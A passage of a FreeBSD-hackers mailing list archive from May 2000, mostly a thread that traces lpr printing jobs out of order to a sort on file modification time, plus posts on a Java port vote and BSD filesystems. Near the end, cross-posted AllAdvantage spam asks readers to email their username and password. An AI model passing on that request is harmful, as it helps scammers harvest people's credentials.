of dollars. Thinking before posting, priceless. Somethings in life you can't buy. For everything else, there's MasterCard. -- Graham Reed, in the Scary Devil Monastery To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue May 2 13:57:32 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.wolves.k12.mo.us (mail.wolves.k12.mo.us [207.160.214.1]) by hub.freebsd.org (Postfix) with ESMTP id EB80237BE71 for ; Tue, 2 May 2000 13:57:25 -0700 (PDT) (envelope-from cdillon@wolves.k12.mo.us) Received: from mail.wolves.k12.mo.us (cdillon@mail.wolves.k12.mo.us [207.160.214.1]) by mail.wolves.k12.mo.us (8.9.3/8.9.3) with ESMTP id PAA95224; Tue, 2 May 2000 15:57:00 -0500 (CDT) (envelope-from cdillon@wolves.k12.mo.us) Date: Tue, 2 May 2000 15:57:00 -0500 (CDT) From: Chris Dillon To: Konrad Heuer Cc: Lorenzo Iania , freebsd-hackers@FreeBSD.ORG Subject: PROBLEM FOUND (sort of): Re: lpr: order of print requests In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 2 May 2000, Konrad Heuer wrote: > > On Tue, 2 May 2000, Lorenzo Iania wrote: > > > Warren Losh wrote: > > > > > LPR queues up the reuqests and prints them in order smallest to > > > largest to reduce the average wait time for a job at the expense of > > > having a larger standard deviation in the wait times for jobs. Maybe > > > this is what you are running into. I don't know if there's a way to > > > disable this behavior or not. At least that's what I recall lpd doing > > > years ago when I ran a unix lab in school. I didn't go check the code > > > to see if it still did that or not. > > > > > > Warner > > > > > > > I think you're right, because the process that generates the requests is > > only one. It consecutively opens pipes to lpr and then closes them. In > > effect it builds invoices from delivery documents and the printed numbers of > > invoices is effectively out of order, while the requests are ordered by > > number of invoice. Each pipe is opened and closed: so the processes are not > > concurrent: one begins after the other has finished. > > So, is there a way to disable this strange behavior? > > Hmm, I've never seen such a strange behaviour. Lpd should do FIFO. Could > you give some more infos about your environment (os release, input filter > program, printer type)? I had the same problem when I used Samba and a FreeBSD box as an intermediary print queue to a networked laser printer for some Win95 boxes. Needless to say, the secretaries didn't like the fact that all of the checks they printed were out of order on numbered check stock. :-( This is definately a bug, probably in the queue sort routine in usr.sbin/lpr/common_source/common.c. I'm no good at C programming, or I'd take a shot at finding the exact culprit and fixing it myself. I'm on 4.0-STABLE, and here is what I can produce: # lpq -a # for foo in 1 2 3 4 5 6 7 8 9 10; do echo "$foo" | lpr -Praw; done # lpq -a raw: Warning: raw is down: printing disabled Warning: no daemon present Rank Owner Job Files Total Size 1st root 41 (standard input) 3 bytes 2nd root 33 (standard input) 2 bytes 3rd root 34 (standard input) 2 bytes 4th root 35 (standard input) 2 bytes 5th root 36 (standard input) 2 bytes 6th root 37 (standard input) 2 bytes 7th root 38 (standard input) 2 bytes 8th root 39 (standard input) 2 bytes 9th root 40 (standard input) 2 bytes 10th root 32 (standard input) 2 bytes Notice the rank and job numbers, and that jobs 32 and 41 are swapped. Looking at the raw job data in the spool directory verifies that each sequential job is being placed into the queue with a correct sequential job number. Investigating further, this happens: Place just six jobs in the queue, and things are peachy: # lpq -a raw: Warning: raw is down: printing disabled Warning: no daemon present Rank Owner Job Files Total Size 1st root 79 (standard input) 2 bytes 2nd root 80 (standard input) 2 bytes 3rd root 81 (standard input) 2 bytes 4th root 82 (standard input) 2 bytes 5th root 83 (standard input) 2 bytes 6th root 84 (standard input) 2 bytes Add a seventh job and the odd sorting behaviour happens: # lpq -a raw: Warning: raw is down: printing disabled Warning: no daemon present Rank Owner Job Files Total Size 1st root 82 (standard input) 2 bytes 2nd root 80 (standard input) 2 bytes 3rd root 81 (standard input) 2 bytes 4th root 79 (standard input) 2 bytes 5th root 83 (standard input) 2 bytes 6th root 84 (standard input) 2 bytes 7th root 85 (standard input) 2 bytes The print queue is sorted by qsort(), so this wouldn't have anything to do with the magic number "7" I see in lib/libc/stdlib/qsort.c, would it? (ignore me... its probably just a coincidence) :-) -- Chris Dillon - cdillon@wolves.k12.mo.us - cdillon@inter-linc.net FreeBSD: The fastest and most stable server OS on the planet. For Intel x86 and Alpha architectures. ( http://www.freebsd.org ) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue May 2 14: 4:45 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from MIT.EDU (SOUTH-STATION-ANNEX.MIT.EDU [18.72.1.2]) by hub.freebsd.org (Postfix) with SMTP id 4F97637BF23 for ; Tue, 2 May 2000 14:04:14 -0700 (PDT) (envelope-from ira@MIT.EDU) Received: from GRAND-CENTRAL-STATION.MIT.EDU by MIT.EDU with SMTP id AA29012; Tue, 2 May 00 17:04:09 EDT Received: from melbourne-city-street.MIT.EDU (MELBOURNE-CITY-STREET.MIT.EDU [18.69.0.45]) by grand-central-station.MIT.EDU (8.9.2/8.9.2) with ESMTP id RAA20182 for ; Tue, 2 May 2000 17:01:57 -0400 (EDT) Received: from nerd-xing.mit.edu (NERD-XING.MIT.EDU [18.184.0.47]) by melbourne-city-street.MIT.EDU (8.9.3/8.9.2) with ESMTP id RAA18709 for ; Tue, 2 May 2000 17:01:56 -0400 (EDT) Received: (from ira@localhost) by nerd-xing.mit.edu (8.9.3) id RAA11830; Tue, 2 May 2000 17:01:56 -0400 (EDT) Message-Id: <200005022101.RAA11830@nerd-xing.mit.edu> To: freebsd-hackers@freebsd.org Subject: Re: PROBLEM FOUND (sort of): Re: lpr: order of print requests Date: Tue, 02 May 2000 17:01:53 -0400 From: Ira L Cooper Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I'd bet it does, quicksort is not a stable sort and all of your print requests are the same length. -Ira To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue May 2 15:47:31 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from dan.emsphone.com (dan.emsphone.com [199.67.51.101]) by hub.freebsd.org (Postfix) with ESMTP id 14E9137B539 for ; Tue, 2 May 2000 15:47:29 -0700 (PDT) (envelope-from dan@dan.emsphone.com) Received: (from dan@localhost) by dan.emsphone.com (8.9.3/8.9.3) id RAA20919; Tue, 2 May 2000 17:47:13 -0500 (CDT) (envelope-from dan) Date: Tue, 2 May 2000 17:47:13 -0500 From: Dan Nelson To: Chris Dillon Cc: Konrad Heuer , Lorenzo Iania , freebsd-hackers@FreeBSD.ORG Subject: Re: PROBLEM FOUND (sort of): Re: lpr: order of print requests Message-ID: <20000502174713.A14919@dan.emsphone.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.1.12i In-Reply-To: ; from "Chris Dillon" on Tue May 2 15:57:00 GMT 2000 X-OS: FreeBSD 5.0-CURRENT Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In the last episode (May 02), Chris Dillon said: > On Tue, 2 May 2000, Konrad Heuer wrote: > > Hmm, I've never seen such a strange behaviour. Lpd should do FIFO. > > Could you give some more infos about your environment (os release, > > input filter program, printer type)? Aha. Yes, it _does_ do FIFO, but if you look at the source, the queue sorting routine simply sorts on stat(mtime) of the queue file, so jobs submitted in the same second will sort randomly. A quick fix would be to sleep for 1 second between "lpr" calls. -- Dan Nelson dnelson@emsphone.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue May 2 17:14:35 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.rpi.edu (mail.rpi.edu [128.113.100.7]) by hub.freebsd.org (Postfix) with ESMTP id 11FC037B86A for ; Tue, 2 May 2000 17:14:29 -0700 (PDT) (envelope-from drosih@rpi.edu) Received: from [128.113.24.47] (gilead.acs.rpi.edu [128.113.24.47]) by mail.rpi.edu (8.9.3/8.9.3) with ESMTP id UAA284946; Tue, 2 May 2000 20:13:59 -0400 Mime-Version: 1.0 X-Sender: drosih@mail.rpi.edu Message-Id: In-Reply-To: <200005012009.OAA18596@harmony.village.org> References: <017c01bfb11f$ab144c80$0500000a@sintesi.net> <200005012009.OAA18596@harmony.village.org> Date: Tue, 2 May 2000 20:13:54 -0400 To: Warner Losh , "Lorenzo Iania" From: Garance A Drosihn Subject: Re: lpr: order of print requests Cc: freebsd-hackers@FreeBSD.ORG Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 2:09 PM -0600 5/1/00, Warner Losh wrote: >LPR queues up the reuqests and prints them in order smallest to >largest to reduce the average wait time for a job at the expense of >having a larger standard deviation in the wait times for jobs. Maybe >this is what you are running into. I don't know if there's a way to >disable this behavior or not. At least that's what I recall lpd doing >years ago when I ran a unix lab in school. I didn't go check the code >to see if it still did that or not. FreeBSD's lpr, as it ships, does not do queue reordering based on size. It is probably best that it remain this way. In the case of postscript jobs, for instance, reordering a queue based on the byte-size of the postscript job is pretty pointless. You can have a short job which takes a long time to print, or a long job which pretty much flies right through the queue. The byte-size of the postscript job does not accurately indicate how long it will take to plot. Postscript is a language. Saying which job will print faster is like claiming you can tell which C-program will execute in less time based on the byte-size of the C source files. I am sure that many sites would change lpr's behavior to implement some kind of prioritization based on file size or file type, but lpr as exists in freebsd source is FIFO (assuming no one does an 'lpc topq' to explicitly change that order...). Looking at the source code (the getq() and compar() routines in lpr/common_source/common.c), it is clear that it only checks the last-modification time of the cf files for each job. 'lpc topq' works by altering those last-modification timestamps. --- Garance Alistair Drosehn = gad@eclipse.acs.rpi.edu Senior Systems Programmer or drosih@rpi.edu Rensselaer Polytechnic Institute To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue May 2 17:38:57 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.rpi.edu (mail.rpi.edu [128.113.100.7]) by hub.freebsd.org (Postfix) with ESMTP id 1E79937BB3E for ; Tue, 2 May 2000 17:38:54 -0700 (PDT) (envelope-from drosih@rpi.edu) Received: from [128.113.24.47] (gilead.acs.rpi.edu [128.113.24.47]) by mail.rpi.edu (8.9.3/8.9.3) with ESMTP id UAA170910; Tue, 2 May 2000 20:37:48 -0400 Mime-Version: 1.0 X-Sender: drosih@mail.rpi.edu Message-Id: In-Reply-To: <20000502174713.A14919@dan.emsphone.com> References: <20000502174713.A14919@dan.emsphone.com> Date: Tue, 2 May 2000 20:37:44 -0400 To: Dan Nelson , Chris Dillon From: Garance A Drosihn Subject: Re: PROBLEM FOUND (sort of): Re: lpr: order of print requests Cc: Konrad Heuer , Lorenzo Iania , freebsd-hackers@FreeBSD.ORG Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 5:47 PM -0500 5/2/00, Dan Nelson wrote: >In the last episode (May 02), Chris Dillon said: > > On Tue, 2 May 2000, Konrad Heuer wrote: > > > Hmm, I've never seen such a strange behaviour. Lpd should do FIFO. > > > Could you give some more infos about your environment (os release, > > > input filter program, printer type)? > >Aha. Yes, it _does_ do FIFO, but if you look at the source, the queue >sorting routine simply sorts on stat(mtime) of the queue file, so jobs >submitted in the same second will sort randomly. A quick fix would be >to sleep for 1 second between "lpr" calls. I would call that more of a "workaround" than a "fix"... :-) For the example situation that Lorenzo is talking about, a quick fix to lpr might be to change the compar() routine in common_source/common.c. The code should probably check for the case where two files have the same last-modification time (to the degree of accuracy that stat() can tell the last-mod time), and if they match then the routine should sort the cf files based on the file-name. That means 'cfA001some.host.name' would always come before 'cfA002some.host.name', so it solves the problem when jobs area all coming from the same hostname, except for the case where the jobid wraps around from '999' to '000'. Probably could handle that case easily enough, too, with a little extra thought. This should not break anything. I will write up an update which does this, unless someone thinks it is a BadIdea(tm) for some reason. Someone else would have to commit the change to the official source, but at least Lorenzo could try that change and see if it helps his situation. Given the example he gave in a different message, I am not completely convinced that this is the problem he is seeing. Still, this change does seem like a good idea to do. --- Garance Alistair Drosehn = gad@eclipse.acs.rpi.edu Senior Systems Programmer or drosih@rpi.edu Rensselaer Polytechnic Institute To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue May 2 17:51:44 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from hotmail.com (f335.law8.hotmail.com [216.33.240.210]) by hub.freebsd.org (Postfix) with SMTP id 4E23F37B56A for ; Tue, 2 May 2000 17:51:31 -0700 (PDT) (envelope-from jmd526@hotmail.com) Received: (qmail 20377 invoked by uid 0); 3 May 2000 00:51:29 -0000 Message-ID: <20000503005129.20376.qmail@hotmail.com> Received: from 209.220.228.2 by www.hotmail.com with HTTP; Tue, 02 May 2000 17:51:29 PDT X-Originating-IP: [209.220.228.2] From: "John Daniels" To: freebsd-hackers@freebsd.org, freebsd-isp@freebsd.org Subject: GET OUT THE VOTE! Please support Java port to *BSD Date: Tue, 02 May 2000 20:51:29 EDT Mime-Version: 1.0 Content-Type: text/plain; format=flowed Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi: Since last week when the message below and other messages began to circulate, approximately 230 votes have been cast for the java port to *BSD. This has raised our total count to 3182, an increase of 7.75%. Additionally, it is heartening to read the comments left by those who have voted which clearly demonstrate the depth of loyalty that *BSD users have for their platform of choice. Greg Lewis, who heads the FreeBSD-java porting effort has released the first "alpha" patchset for FreeBSD, the seventh in a series of patchsets representing months of work by many *BSD-ers. These volunteers have made a tremendous effort that is sure to enhance the *BSD plaform whether Sun comes around to an "official" port or not. The best way to say "Thanks" is to 1) help with testing, 2) VOTE! FYI: I am not a part of the java porting team, just a user who would like to use a native port and support the *BSD platform. John Last week, John Daniels wrote: >Hi: > >In November 1999 a request for enhancement (RFE) was opened at Sun's >Java Developer's Connection titled: Port jdk 1.2.x to FreeBSD (bug >id: 4288745). > >Members of the Java Developer's Connection help prioritize bug fixes >and RFE's by voting for the one's that they believe are needed most. The >FreeBSD port RFE currently is the #1 request by far with 2953 votes vs. 819 >for the #2 request. > >Even with this wide lead, Sun has no obligation to make an official >port of Java to FreeBSD or *BSD, or to be helpful to the *BSD efforts >to port Java (see www.freebsd.org/java). The larger the number of >votes >for our RFE, however, the more difficult it is for Sun to >ignore. And the more that we can widen the lead between our #1 RFE >and #2, the more dramatic a statement we (collectively) make. > >An official Java JDK port to FreeBSD would likely mean that all BSD's >would benefit either by being able to use the FreeBSD port or by >being much closer to a port of their own. In fact, many who have >voted for the RFE have left comments supporting a port to *BSD, not >just FreeBSD. > >As you may know, Sun recently teamed with Inprise to create an >official port of Java to Linux (building on the work of Blackdown). >The *BSD's, with a large and loyal base of developers, also deserve >an official native version of Java. > >Please support the Java on *BSD effort by voting for the RFE at: >http://developer.java.sun.com/developer/bugParade/bugs/4288745.html If you >are not already a member of Sun's Java Developers Connection, >you will need to register before voting (membership is free). > >Your support is greatly appreciated. Thank you. > >John > >PS Please forward this message to any person, list, or organization >that may want to support this effort. ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue May 2 18:20:35 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from bingnet2.cc.binghamton.edu (bingnet2.cc.binghamton.edu [128.226.1.18]) by hub.freebsd.org (Postfix) with ESMTP id 0B7E537BCDA; Tue, 2 May 2000 18:20:29 -0700 (PDT) (envelope-from zzhang@cs.binghamton.edu) Received: from sol.cs.binghamton.edu (sol.cs.binghamton.edu [128.226.123.100]) by bingnet2.cc.binghamton.edu (8.9.3/8.9.3) with ESMTP id VAA28239; Tue, 2 May 2000 21:20:12 -0400 (EDT) Date: Tue, 2 May 2000 21:19:50 -0400 (EDT) From: Zhihui Zhang To: John Daniels Cc: freebsd-hackers@FreeBSD.ORG, freebsd-isp@FreeBSD.ORG Subject: Re: GET OUT THE VOTE! Please support Java port to *BSD In-Reply-To: <20000503005129.20376.qmail@hotmail.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > >Please support the Java on *BSD effort by voting for the RFE at: > >http://developer.java.sun.com/developer/bugParade/bugs/4288745.html If you > >are not already a member of Sun's Java Developers Connection, > >you will need to register before voting (membership is free). I have spent five minutes to register as a member and go to the above site and click the radio button to vote for this bug. -Zhihui To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue May 2 19:21:26 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from linux.ssc.nsu.ru (linux.ssc.nsu.ru [193.124.219.91]) by hub.freebsd.org (Postfix) with SMTP id 5E22837BE07 for ; Tue, 2 May 2000 19:20:56 -0700 (PDT) (envelope-from danfe@ssc.nsu.ru) Received: (qmail 15711 invoked from network); 3 May 2000 02:20:48 -0000 Received: from inet.ssc.nsu.ru (62.76.110.12) by hub.freebsd.org with SMTP; 3 May 2000 02:20:48 -0000 Received: from localhost (danfe@localhost) by inet.ssc.nsu.ru (8.9.3/8.9.3) with ESMTP id JAA27557; Wed, 3 May 2000 09:20:21 +0700 Date: Wed, 3 May 2000 09:20:21 +0700 (NOVST) From: "Alexey N. Dokuchaev" To: freebsd-fs@freebsd.org Cc: freebsd-hackers@freebsd.org Subject: Which is the best filesystem to share data between fBSD and nBSD? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello! I plan to install three flawors of BSD: Free, Net, and possibly Open. I'm thinking of what is the best way of sharing data between them? If their FFS filesystems has the same layout, so I don't really have to care about it, simply mounting the slices, or there are certain differences, and I need to specify some mount options, or even use another FS, like ext2fs, or even VFAT [sic]. Please cc me since I am the member of the list, and sorry for crossposting. Cheers, /* Alexey N. Dokuchaev, more commonly | */ /* known as DAN Fe | mailto:danfe@inet.ssc.nsu.ru */ /* | ICQ UIN: 38934845 */ /* Novosibirsk State University | http://inet.ssc.nsu.ru/~danfe/ */ /* Scientific Study Center Computer Lab | */ [Team Assembler] [Team BSD] [Team DooM] [Team Quake] -----BEGIN GEEK CODE BLOCK----- Version: 3.12 GCS d-@ s+: a--- C++(+++) UBL++++$ P++>$ L+ E-- W++ N++ o? K? w-- O- M V- PS PE Y+ PGP+ t+ 5+ X+ R- !tv b++ DI+ D+++ G++ e h !r !y+ ------END GEEK CODE BLOCK------ Microsoft: Where do you want to go today? Linux: Where do you want to go tomorrow? FreeBSD: Are you guys coming or what? Microsoft: What are we going to rip off today and claim as our own? Microsoft: Where do you want to be taken today? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue May 2 20: 6:38 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id 6538037B7DC; Tue, 2 May 2000 20:06:33 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id VAA17934; Tue, 2 May 2000 21:06:31 -0600 (MDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id VAA28525; Tue, 2 May 2000 21:06:14 -0600 (MDT) Message-Id: <200005030306.VAA28525@harmony.village.org> To: Matt Peterson Subject: Re: 3Com's all-in-one XJack modem/NIC Cc: freebsd-mobile@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG In-reply-to: Your message of "Mon, 01 May 2000 21:34:22 PDT." References: Date: Tue, 02 May 2000 21:06:14 -0600 From: Warner Losh Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message Matt Peterson writes: : when can we expect 4.0-RELEASE PAO floppies?). Thx. There are no current plans for a PAO based on 4.0. Instead, the strategy has been to integrate the PAO 3x stuff into -current and then MFC as appropriate into 4.x stable. This is just my understanding of things. I could be wrong. My Japanese isn't that good :-) Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue May 2 20:14:35 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id 7215437B915 for ; Tue, 2 May 2000 20:14:30 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id VAA18021; Tue, 2 May 2000 21:14:25 -0600 (MDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id VAA28606; Tue, 2 May 2000 21:14:09 -0600 (MDT) Message-Id: <200005030314.VAA28606@harmony.village.org> To: Sheldon Hearn Subject: Re: testers for PR 17698 Cc: Johan Karlsson , hackers@FreeBSD.ORG In-reply-to: Your message of "Tue, 02 May 2000 15:56:24 +0200." <27986.957275784@axl.ops.uunet.co.za> References: <27986.957275784@axl.ops.uunet.co.za> Date: Tue, 02 May 2000 21:14:09 -0600 From: Warner Losh Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <27986.957275784@axl.ops.uunet.co.za> Sheldon Hearn writes: : > Did you get any alpha/pc98 testers for the patch in PR 17698 : : Not yet, but since I know that lots of people have been away the last : two weeks, I'd like to wait another week before I go ahead without : review. There's a freebsd98-testers@jp.freebsd.org (likely in Japanese) that you can send to. Also nyan@freebsd.org has done a lot of commits to this part of the tree. There may also be a freebsd98-users@jp.freebsd.org, but I'm less sure of that. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue May 2 20:33:35 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from mtiwmhc21.worldnet.att.net (mtiwmhc21.worldnet.att.net [204.127.131.46]) by hub.freebsd.org (Postfix) with ESMTP id 9394537BD25 for ; Tue, 2 May 2000 20:33:29 -0700 (PDT) (envelope-from hspio@worldnet.att.net) Received: from default ([12.77.199.177]) by mtiwmhc21.worldnet.att.net (InterMail vM.4.01.02.39 201-229-119-122) with ESMTP id <20000503033321.ZLXH1339.mtiwmhc21.worldnet.att.net@default>; Wed, 3 May 2000 03:33:21 +0000 From: hspio@worldnet.att.net To: cypherpunks@toad.com, linux-admin@vger.rutgers.edu, WIN95-L@PEACH.EASE.LSOFT.COM, hackers@FreeBSD.ORG, linux-hams@vger.rutgers.edu, linux-config@vger.rutgers.edu, AccessHelp@egroups.com Date: Tue, 2 May 2000 23:27:04 -0400 MIME-Version: 1.0 Content-type: text/plain; charset=ISO-8859-1 Content-transfer-encoding: Quoted-printable Subject: MAKE MONEY FOR DOING NOTHING!!!!!!!!! PROMISE X-mailer: Pegasus Mail for Win32 (v3.12b) Message-Id: <20000503033321.ZLXH1339.mtiwmhc21.worldnet.att.net@default> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG WILL SURF FOR YOU, JUST FOR FILLING OUT A SMALL FORM Do you realize how valuable you are as an Internet user? Did you know that you can be paid when you=92re on the Web? AND off the WEB!!!!!! Interested? Become an AllAdvantage.com member now! It's free to join and your privacy is completely protected. Check out these impressive facts: They've paid over $10 million to members in the US, UK and Canada in the last three months alone; Now they're paying members in France, Germany, Australia, New Zealand and the US territories, too -- more countries coming soon; Later this month all members will be able to purchase anti-virus software at a significant discount through their AllAdvantage accounts; Soon they're releasing Viewbars to Mac users, making AllAdvantage one of the first Viewbar companies to do so; They've developed and soon will release an upgraded version of the Viewbar software that's equipped with instant search capability, convenient quicklinks to the Web's most popular sites, and of course, pays you to surf! It takes only minutes to join, download the free AllAdvantage.com Viewbar software, and start surfing the Web with the Viewbar on your screen. But You DON'T even need the Veiw Bar cause I have a program that eliminates that all and all you have to do "After you sign up" is Email me YOUR USER NAME and PASSWORD so I CAN START SURFING THE WEB FOR YOU SO YOU CAN START MAKING MONEY. You don't even have to download the veiw bar you are done with alladvantage once you sign up and give me your user name and password. You can earn even more when you tell your friends about it. Really! It's all about becoming part of a community that finally recognizes our value as consumers. Join now (there's no survey to fill out) at http://www.alladvantage.com/home.asp?refid=3DLZG150 and please use my membership ID (LZG-150) when asked if you were referred by someone. And http://cheetahtech.cjb.net Thanks a lot and happy surfing! Scott Pio Member ID# LZG-150 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue May 2 20:34:17 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from mtiwmhc21.worldnet.att.net (mtiwmhc21.worldnet.att.net [204.127.131.46]) by hub.freebsd.org (Postfix) with ESMTP id 064CE37B87E for ; Tue, 2 May 2000 20:34:11 -0700 (PDT) (envelope-from hspio@worldnet.att.net) Received: from default ([12.77.199.177]) by mtiwmhc21.worldnet.att.net (InterMail vM.4.01.02.39 201-229-119-122) with ESMTP id <20000503033403.ZMEM1339.mtiwmhc21.worldnet.att.net@default>; Wed, 3 May 2000 03:34:03 +0000 From: hspio@worldnet.att.net To: cypherpunks@toad.com, linux-admin@vger.rutgers.edu, WIN95-L@PEACH.EASE.LSOFT.COM, hackers@FreeBSD.ORG, linux-hams@vger.rutgers.edu, linux-config@vger.rutgers.edu, AccessHelp@egroups.com Date: Tue, 2 May 2000 23:27:04 -0400 MIME-Version: 1.0 Content-type: text/plain; charset=ISO-8859-1 Content-transfer-encoding: Quoted-printable Subject: I Surf, YOU GET PAID!!!!!! Promise X-mailer: Pegasus Mail for Win32 (v3.12b) Message-Id: <20000503033403.ZMEM1339.mtiwmhc21.worldnet.att.net@default> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I WILL SURF FOR YOU, JUST FOR FILLING OUT A SMALL FORM Do you realize how valuable you are as an Internet user? Did you know that you can be paid when you=92re on the Web? AND off the WEB!!!!!! Interested? Become an AllAdvantage.com member now! It's free to join and your privacy is completely protected. Check out these impressive facts: They've paid over $10 million to members in the US, UK and Canada in the last three months alone; Now they're paying members in France, Germany, Australia, New Zealand and the US territories, too -- more countries coming soon; Later this month all members will be able to purchase anti-virus software at a significant discount through their AllAdvantage accounts; Soon they're releasing Viewbars to Mac users, making AllAdvantage one of the first Viewbar companies to do so; They've developed and soon will release an upgraded version of the Viewbar software that's equipped with instant search capability, convenient quicklinks to the Web's most popular sites, and of course, pays you to surf! It takes only minutes to join, download the free AllAdvantage.com Viewbar software, and start surfing the Web with the Viewbar on your screen. But you DON'T even need the You can earn even more when you tell your friends about it. Really! It's all about becoming part of a community that finally recognizes our value as consumers. Join now (there's no survey to fill out) at http://www.alladvantage.com/home.asp?refid=3DDAC-941 and please use my membership ID (DAC-941) when asked if you were referred by someone. Thanks a lot and happy surfing! John Stockton Member ID# DAC-941 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue May 2 20:35:12 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from mtiwmhc21.worldnet.att.net (mtiwmhc21.worldnet.att.net [204.127.131.46]) by hub.freebsd.org (Postfix) with ESMTP id 094BA37BCDA for ; Tue, 2 May 2000 20:34:58 -0700 (PDT) (envelope-from hspio@worldnet.att.net) Received: from default ([12.77.199.177]) by mtiwmhc21.worldnet.att.net (InterMail vM.4.01.02.39 201-229-119-122) with ESMTP id <20000503033451.ZMLO1339.mtiwmhc21.worldnet.att.net@default>; Wed, 3 May 2000 03:34:51 +0000 From: hspio@worldnet.att.net To: cypherpunks@toad.com, linux-admin@vger.rutgers.edu, WIN95-L@PEACH.EASE.LSOFT.COM, hackers@FreeBSD.ORG, linux-hams@vger.rutgers.edu, linux-config@vger.rutgers.edu, AccessHelp@egroups.com Date: Tue, 2 May 2000 23:27:04 -0400 MIME-Version: 1.0 Content-type: text/plain; charset=ISO-8859-1 Content-transfer-encoding: Quoted-printable Subject: I Surf, YOU GET PAID!!!!!! Promise X-mailer: Pegasus Mail for Win32 (v3.12b) Message-Id: <20000503033451.ZMLO1339.mtiwmhc21.worldnet.att.net@default> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I WILL SURF FOR YOU, JUST FOR FILLING OUT A SMALL FORM Do you realize how valuable you are as an Internet user? Did you know that you can be paid when you=92re on the Web? AND off the WEB!!!!!! Interested? Become an AllAdvantage.com member now! It's free to join and your privacy is completely protected. Check out these impressive facts: They've paid over $10 million to members in the US, UK and Canada in the last three months alone; Now they're paying members in France, Germany, Australia, New Zealand and the US territories, too -- more countries coming soon; Later this month all members will be able to purchase anti-virus software at a significant discount through their AllAdvantage accounts; Soon they're releasing Viewbars to Mac users, making AllAdvantage one of the first Viewbar companies to do so; They've developed and soon will release an upgraded version of the Viewbar software that's equipped with instant search capability, convenient quicklinks to the Web's most popular sites, and of course, pays you to surf! It takes only minutes to join, download the free AllAdvantage.com Viewbar software, and start surfing the Web with the Viewbar on your screen. But You 